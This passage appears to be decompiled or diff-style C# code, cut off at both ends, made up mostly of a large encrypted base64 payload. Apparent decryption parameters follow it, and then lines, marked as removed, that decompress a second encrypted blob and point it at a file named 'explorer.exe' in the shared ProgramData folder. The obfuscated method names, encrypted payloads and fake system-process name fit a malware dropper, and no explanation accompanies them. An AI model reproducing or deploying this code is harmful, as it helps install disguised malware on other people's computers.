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", "Jz8f5C9Sxn7GEy6", "x3YCz7n9L6KwHp85Zq", "SHA1", 2, "Pa62DoQz37Kfk5Y4", 128)); - string path = Environment.GetFolderPath(Environment.SpecialFolder.CommonApplicationData) + "\\explorer.exe"; - byte[] numArray = SevenZipHelper.Decompress(Driver.Pk9q5HBx3i4S7QdWj86Dc("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